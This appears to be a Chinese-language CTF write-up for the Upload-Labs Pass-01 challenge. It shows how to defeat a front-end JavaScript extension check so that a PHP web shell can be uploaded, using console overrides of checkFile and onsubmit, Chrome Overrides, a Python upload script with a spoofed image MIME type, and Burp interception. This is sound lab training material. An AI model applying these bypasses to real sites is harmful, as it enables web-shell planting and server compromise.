前言
学习,重温一下CTF知识和手感,回顾一下前端绕过手法。
关于题目环境
来自BUUCTF网站的Upload-Labs-Linux题目,其实就是Upload-Labs。
要求上传一个PHP WebShell,主要限制来自于一段JavaScript代码:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
直接修改网页源代码
由于前端限制由JavaScript代码完成,而且浏览器由我们直接控制,前端代码存在被我们修改的可能性,所以修改网页源代码后直接通过网页上传文件的方式最为快捷。
JavaScript
最简单的方法是直接在Chrome浏览器的Console上操作,将checkFile替换为一个新的永远返回True的匿名函数:
checkFile = function(){
return true;
}
此外,也可以用修改onsubmit事件的方式来完成:
document.getElementsByName("submit")[0].parentNode.parentNode.onsubmit = function(){
return true;
}
Overrides
此外,Chrome也提供了Overrides机制,可以用本地文件覆盖前端文件实现前端源代码的替换,选定本地的源代码文件夹后,修改允许上传的文件后缀并保存,chrome就会在本地保存修改后的源代码文件。
刷新后就可以直接上传PHP文件。
Python脚本上传文件
通过requests库进行文件上传:
# -*- coding:utf8 -*-
import requests
url = "http://9cffd483-577f-4ea4-983b-4512fc1e0f53.node4.buuoj.cn:81/Pass-01/index.php"
f = open("pwn.php", "rb")
files = {
"upload_file": ("pwn.php", f, "image/jpeg"),
"submit": (None, "abc")
}
response = requests.post(url, files=files)
print response.status_code
print response.request.body
print response.request.headers
试了n种方法都传不上去,最后发现加上submit参数就行了,Orz。
BurpSuite代理Chrome
最后也是最常用的办法就是通过Burp抓包重发了,配置系统代理然后抓包修改就好。